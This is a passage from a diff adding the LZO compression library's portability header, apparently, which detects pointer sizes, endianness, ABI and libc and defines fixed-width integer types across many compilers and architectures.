(__INITIAL_POINTER_SIZE+0 == 64) +# define LZO_WORDSIZE 8 +#endif +#endif +#if !defined(LZO_SIZEOF_VOID_P) +#if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) +# define LZO_SIZEOF_VOID_P 4 +#elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) +# define LZO_SIZEOF_VOID_P 8 +#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) +# define LZO_SIZEOF_VOID_P 8 +#elif defined(__LP64__) || defined(__LP64) || defined(_LP64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) +# define LZO_SIZEOF_VOID_P 8 +#elif (LZO_ARCH_AVR) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_ARCH_H8300) +# if defined(__NORMAL_MODE__) +# define LZO_SIZEOF_VOID_P 2 +# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_SIZEOF_VOID_P 4 +# else +# define LZO_SIZEOF_VOID_P 2 +# endif +# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4) +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT +# endif +#elif (LZO_ARCH_I086) +# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM) +# define LZO_SIZEOF_VOID_P 2 +# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE) +# define LZO_SIZEOF_VOID_P 4 +# else +# error "invalid LZO_ARCH_I086 memory model" +# endif +#elif (LZO_ARCH_M16C) +# if defined(__m32c_cpu__) || defined(__m32cm_cpu__) +# define LZO_SIZEOF_VOID_P 4 +# else +# define LZO_SIZEOF_VOID_P 2 +# endif +#elif (LZO_ARCH_SPU) +# define LZO_SIZEOF_VOID_P 4 +#elif (LZO_ARCH_Z80) +# define LZO_SIZEOF_VOID_P 2 +#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) +# define LZO_SIZEOF_VOID_P 4 +#elif (LZO_OS_OS400 || defined(__OS400__)) +# if defined(__LLP64_IFC__) +# define LZO_SIZEOF_VOID_P 8 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +# else +# define LZO_SIZEOF_VOID_P 16 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +# endif +#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) +# define LZO_SIZEOF_VOID_P 8 +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG +#endif +#endif +#if !defined(LZO_SIZEOF_VOID_P) +# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *)) +#if !defined(LZO_SIZEOF_SIZE_T) +#if (LZO_ARCH_I086 || LZO_ARCH_M16C) +# define LZO_SIZEOF_SIZE_T 2 +#endif +#endif +#if !defined(LZO_SIZEOF_SIZE_T) +# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P +#endif +#if defined(offsetof) +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t)) +#endif +#if !defined(LZO_SIZEOF_PTRDIFF_T) +#if (LZO_ARCH_I086) +# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE) +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P +# elif (LZO_MM_COMPACT || LZO_MM_LARGE) +# if (LZO_CC_BORLANDC || LZO_CC_TURBOC) +# define LZO_SIZEOF_PTRDIFF_T 4 +# else +# define LZO_SIZEOF_PTRDIFF_T 2 +# endif +# else +# error "invalid LZO_ARCH_I086 memory model" +# endif +#endif +#endif +#if !defined(LZO_SIZEOF_PTRDIFF_T) +# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T +#endif +#if defined(offsetof) +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t)) +#endif +#if !defined(LZO_WORDSIZE) +# define LZO_WORDSIZE LZO_SIZEOF_VOID_P +#endif +#if (LZO_ABI_NEUTRAL_ENDIAN) +# undef LZO_ABI_BIG_ENDIAN +# undef LZO_ABI_LITTLE_ENDIAN +#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN) +#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP) +# define LZO_ABI_BIG_ENDIAN 1 +#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__) +# if (__LITTLE_ENDIAN__ == 1) +# define LZO_ABI_LITTLE_ENDIAN 1 +# else +# define LZO_ABI_BIG_ENDIAN 1 +# endif +#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC) +# if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN) +# error "unexpected configuration - check your compiler defines" +# elif defined(__BIG_ENDIAN) +# define LZO_ABI_BIG_ENDIAN 1 +# else +# define LZO_ABI_LITTLE_ENDIAN 1 +# endif +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__) +# define LZO_ABI_BIG_ENDIAN 1 +#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__) +# define LZO_ABI_LITTLE_ENDIAN 1 +#endif +#endif +#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ABI_BIG_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "be" +#elif (LZO_ABI_LITTLE_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "le" +#elif (LZO_ABI_NEUTRAL_ENDIAN) +# define LZO_INFO_ABI_ENDIAN "neutral" +#endif +#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) +# define LZO_ABI_I8LP16 1 +# define LZO_INFO_ABI_PM "i8lp16" +#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) +# define LZO_ABI_ILP16 1 +# define LZO_INFO_ABI_PM "ilp16" +#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_LP32 1 +# define LZO_INFO_ABI_PM "lp32" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_ILP32 1 +# define LZO_INFO_ABI_PM "ilp32" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8) +# define LZO_ABI_LLP64 1 +# define LZO_INFO_ABI_PM "llp64" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) +# define LZO_ABI_LP64 1 +# define LZO_INFO_ABI_PM "lp64" +#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) +# define LZO_ABI_ILP64 1 +# define LZO_INFO_ABI_PM "ilp64" +#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4) +# define LZO_ABI_IP32L64 1 +# define LZO_INFO_ABI_PM "ip32l64" +#endif +#if 0 +#elif !defined(__LZO_LIBC_OVERRIDE) +#if (LZO_LIBC_NAKED) +# define LZO_INFO_LIBC "naked" +#elif (LZO_LIBC_FREESTANDING) +# define LZO_INFO_LIBC "freestanding" +#elif (LZO_LIBC_MOSTLY_FREESTANDING) +# define LZO_INFO_LIBC "mfreestanding" +#elif (LZO_LIBC_ISOC90) +# define LZO_INFO_LIBC "isoc90" +#elif (LZO_LIBC_ISOC99) +# define LZO_INFO_LIBC "isoc99" +#elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION) +# define LZO_LIBC_ISOC90 1 +# define LZO_INFO_LIBC "isoc90" +#elif defined(__dietlibc__) +# define LZO_LIBC_DIETLIBC 1 +# define LZO_INFO_LIBC "dietlibc" +#elif defined(_NEWLIB_VERSION) +# define LZO_LIBC_NEWLIB 1 +# define LZO_INFO_LIBC "newlib" +#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__) +# if defined(__UCLIBC_SUBLEVEL__) +# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0)) +# else +# define LZO_LIBC_UCLIBC 0x00090bL +# endif +# define LZO_INFO_LIBC "uc" "libc" +#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__) +# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100) +# define LZO_INFO_LIBC "glibc" +#elif (LZO_CC_MWERKS) && defined(__MSL__) +# define LZO_LIBC_MSL __MSL__ +# define LZO_INFO_LIBC "msl" +#elif 1 && defined(__IAR_SYSTEMS_ICC__) +# define LZO_LIBC_ISOC90 1 +# define LZO_INFO_LIBC "isoc90" +#else +# define LZO_LIBC_DEFAULT 1 +# define LZO_INFO_LIBC "default" +#endif +#endif +#if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) +# define LZO_ASM_SYNTAX_MSC 1 +#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) +#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul)) +#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) +# define LZO_ASM_SYNTAX_GNUC 1 +#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) +# define LZO_ASM_SYNTAX_GNUC 1 +#elif (LZO_CC_GNUC) +# define LZO_ASM_SYNTAX_GNUC 1 +#endif +#if (LZO_ASM_SYNTAX_GNUC) +#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul)) +# define __LZO_ASM_CLOBBER "ax" +# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000)) +# define __LZO_ASM_CLOBBER "memory" +# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory" +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#else +# define __LZO_ASM_CLOBBER "cc", "memory" +# define __LZO_ASM_CLOBBER_LIST_CC : "cc" +# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory" +# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ +#endif +#endif +#if (LZO_ARCH_ALPHA) +# define LZO_OPT_AVOID_UINT_INDEX 1 +#elif (LZO_ARCH_AMD64) +# define LZO_OPT_AVOID_INT_INDEX 1 +# define LZO_OPT_AVOID_UINT_INDEX 1 +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +#elif (LZO_ARCH_ARM) +# if defined(__ARM_FEATURE_UNALIGNED) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# endif +#elif (LZO_ARCH_ARM64) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +#elif (LZO_ARCH_CRIS) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +#elif (LZO_ARCH_I386) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +#elif (LZO_ARCH_IA64) +# define LZO_OPT_AVOID_INT_INDEX 1 +# define LZO_OPT_AVOID_UINT_INDEX 1 +# define LZO_OPT_PREFER_POSTINC 1 +#elif (LZO_ARCH_M68K) +# define LZO_OPT_PREFER_POSTINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +# if defined(__mc68020__) && !defined(__mcoldfire__) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# endif +#elif (LZO_ARCH_MIPS) +# define LZO_OPT_AVOID_UINT_INDEX 1 +#elif (LZO_ARCH_POWERPC) +# define LZO_OPT_PREFER_PREINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +# if (LZO_ABI_BIG_ENDIAN) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# if (LZO_WORDSIZE == 8) +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +# endif +# endif +#elif (LZO_ARCH_S390) +# ifndef LZO_OPT_UNALIGNED16 +# define LZO_OPT_UNALIGNED16 1 +# endif +# ifndef LZO_OPT_UNALIGNED32 +# define LZO_OPT_UNALIGNED32 1 +# endif +# if (LZO_WORDSIZE == 8) +# ifndef LZO_OPT_UNALIGNED64 +# define LZO_OPT_UNALIGNED64 1 +# endif +# endif +#elif (LZO_ARCH_SH) +# define LZO_OPT_PREFER_POSTINC 1 +# define LZO_OPT_PREFER_PREDEC 1 +#endif +#ifndef LZO_CFG_NO_INLINE_ASM +#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) +# define LZO_CFG_NO_INLINE_ASM 1 +#elif (LZO_CC_LLVM) +# define LZO_CFG_NO_INLINE_ASM 1 +#endif +#endif +#if (LZO_CFG_NO_INLINE_ASM) +# undef LZO_ASM_SYNTAX_MSC +# undef LZO_ASM_SYNTAX_GNUC +# undef __LZO_ASM_CLOBBER +# undef __LZO_ASM_CLOBBER_LIST_CC +# undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY +# undef __LZO_ASM_CLOBBER_LIST_EMPTY +#endif +#ifndef LZO_CFG_NO_UNALIGNED +#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) +# define LZO_CFG_NO_UNALIGNED 1 +#endif +#endif +#if (LZO_CFG_NO_UNALIGNED) +# undef LZO_OPT_UNALIGNED16 +# undef LZO_OPT_UNALIGNED32 +# undef LZO_OPT_UNALIGNED64 +#endif +#if defined(__LZO_INFOSTR_MM) +#elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM)) +# define __LZO_INFOSTR_MM "" +#elif defined(LZO_INFO_MM) +# define __LZO_INFOSTR_MM "." LZO_INFO_MM +#else +# define __LZO_INFOSTR_MM "" +#endif +#if defined(__LZO_INFOSTR_PM) +#elif defined(LZO_INFO_ABI_PM) +# define __LZO_INFOSTR_PM "." LZO_INFO_ABI_PM +#else +# define __LZO_INFOSTR_PM "" +#endif +#if defined(__LZO_INFOSTR_ENDIAN) +#elif defined(LZO_INFO_ABI_ENDIAN) +# define __LZO_INFOSTR_ENDIAN "." LZO_INFO_ABI_ENDIAN +#else +# define __LZO_INFOSTR_ENDIAN "" +#endif +#if defined(__LZO_INFOSTR_OSNAME) +#elif defined(LZO_INFO_OS_CONSOLE) +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_CONSOLE +#elif defined(LZO_INFO_OS_POSIX) +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_POSIX +#else +# define __LZO_INFOSTR_OSNAME LZO_INFO_OS +#endif +#if defined(__LZO_INFOSTR_LIBC) +#elif defined(LZO_INFO_LIBC) +# define __LZO_INFOSTR_LIBC "." LZO_INFO_LIBC +#else +# define __LZO_INFOSTR_LIBC "" +#endif +#if defined(__LZO_INFOSTR_CCVER) +#elif defined(LZO_INFO_CCVER) +# define __LZO_INFOSTR_CCVER " " LZO_INFO_CCVER +#else +# define __LZO_INFOSTR_CCVER "" +#endif +#define LZO_INFO_STRING \ + LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \ + " " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER +#if !(LZO_CFG_SKIP_LZO_TYPES) +#if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0)) +# error "missing defines for sizes" +#endif +#if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0)) +# error "missing defines for sizes" +#endif +#if !defined(lzo_llong_t) +#if (LZO_SIZEOF_LONG_LONG+0 > 0) +__lzo_gnuc_extension__ typedef long long lzo_llong_t__; +__lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__; +# define lzo_llong_t lzo_llong_t__ +# define lzo_ullong_t lzo_ullong_t__ +#endif +#endif +#if !defined(lzo_int16e_t) +#if (LZO_SIZEOF_LONG == 2) +# define lzo_int16e_t long +# define lzo_uint16e_t unsigned long +#elif (LZO_SIZEOF_INT == 2) +# define lzo_int16e_t int +# define lzo_uint16e_t unsigned int +#elif (LZO_SIZEOF_SHORT == 2) +# define lzo_int16e_t short int +# define lzo_uint16e_t unsigned short int +#elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) + typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__))); + typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__))); +# define lzo_int16e_t lzo_int16e_hi_t__ +# define lzo_uint16e_t lzo_uint16e_hi_t__ +#elif (LZO_SIZEOF___INT16 == 2) +# define lzo_int16e_t __int16 +# define lzo_uint16e_t unsigned __int16 +#else +#endif +#endif +#if defined(lzo_int16e_t) +# define LZO_SIZEOF_LZO_INT16E_T 2 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T) +#endif +#if !defined(lzo_int32e_t) +#if (LZO_SIZEOF_LONG == 4) +# define lzo_int32e_t long int +# define lzo_uint32e_t unsigned long int +#elif (LZO_SIZEOF_INT == 4) +# define lzo_int32e_t int +# define lzo_uint32e_t unsigned int +#elif (LZO_SIZEOF_SHORT == 4) +# define lzo_int32e_t short int +# define lzo_uint32e_t unsigned short int +#elif (LZO_SIZEOF_LONG_LONG == 4) +# define lzo_int32e_t lzo_llong_t +# define lzo_uint32e_t lzo_ullong_t +#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L) + typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); + typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); +# define lzo_int32e_t lzo_int32e_si_t__ +# define lzo_uint32e_t lzo_uint32e_si_t__ +#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L) + typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); + typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); +# define lzo_int32e_t lzo_int32e_si_t__ +# define lzo_uint32e_t lzo_uint32e_si_t__ +# define LZO_INT32_C(c) (c##LL) +# define LZO_UINT32_C(c) (c##ULL) +#elif (LZO_SIZEOF___INT32 == 4) +# define lzo_int32e_t __int32 +# define lzo_uint32e_t unsigned __int32 +#else +#endif +#endif +#if defined(lzo_int32e_t) +# define LZO_SIZEOF_LZO_INT32E_T 4 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T) +#endif +#if !defined(lzo_int64e_t) +#if (LZO_SIZEOF___INT64 == 8) +# if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64) +# define LZO_CFG_TYPE_PREFER___INT64 1 +# endif +#endif +#if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_int64e_t int +# define lzo_uint64e_t unsigned int +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG == 8) +# define lzo_int64e_t long int +# define lzo_uint64e_t unsigned long int +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG +#elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64) +# define lzo_int64e_t lzo_llong_t +# define lzo_uint64e_t lzo_ullong_t +# if (LZO_CC_BORLANDC) +# define LZO_INT64_C(c) ((c) + 0ll) +# define LZO_UINT64_C(c) ((c) + 0ull) +# elif 0 +# define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL)) +# define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL)) +# else +# define LZO_INT64_C(c) (c##LL) +# define LZO_UINT64_C(c) (c##ULL) +# endif +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG +#elif (LZO_SIZEOF___INT64 == 8) +# define lzo_int64e_t __int64 +# define lzo_uint64e_t unsigned __int64 +# if (LZO_CC_BORLANDC) +# define LZO_INT64_C(c) ((c) + 0i64) +# define LZO_UINT64_C(c) ((c) + 0ui64) +# else +# define LZO_INT64_C(c) (c##i64) +# define LZO_UINT64_C(c) (c##ui64) +# endif +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64 +#else +#endif +#endif +#if defined(lzo_int64e_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T) +#endif +#if !defined(lzo_int32l_t) +#if defined(lzo_int32e_t) +# define lzo_int32l_t lzo_int32e_t +# define lzo_uint32l_t lzo_uint32e_t +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T +#elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_int32l_t int +# define lzo_uint32l_t unsigned int +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG >= 4) +# define lzo_int32l_t long int +# define lzo_uint32l_t unsigned long int +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG +#else +# error "lzo_int32l_t" +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T) +#endif +#if !defined(lzo_int64l_t) +#if defined(lzo_int64e_t) +# define lzo_int64l_t lzo_int64e_t +# define lzo_uint64l_t lzo_uint64e_t +# define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T +#else +#endif +#endif +#if defined(lzo_int64l_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T) +#endif +#if !defined(lzo_int32f_t) +#if (LZO_SIZEOF_SIZE_T >= 8) +# define lzo_int32f_t lzo_int64l_t +# define lzo_uint32f_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T +#else +# define lzo_int32f_t lzo_int32l_t +# define lzo_uint32f_t lzo_uint32l_t +# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T) +#endif +#if !defined(lzo_int64f_t) +#if defined(lzo_int64l_t) +# define lzo_int64f_t lzo_int64l_t +# define lzo_uint64f_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T +#else +#endif +#endif +#if defined(lzo_int64f_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T) +#endif +#if !defined(lzo_intptr_t) +#if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16)) +# define __LZO_INTPTR_T_IS_POINTER 1 + typedef char* lzo_intptr_t; + typedef char* lzo_uintptr_t; +# define lzo_intptr_t lzo_intptr_t +# define lzo_uintptr_t lzo_uintptr_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P +#elif 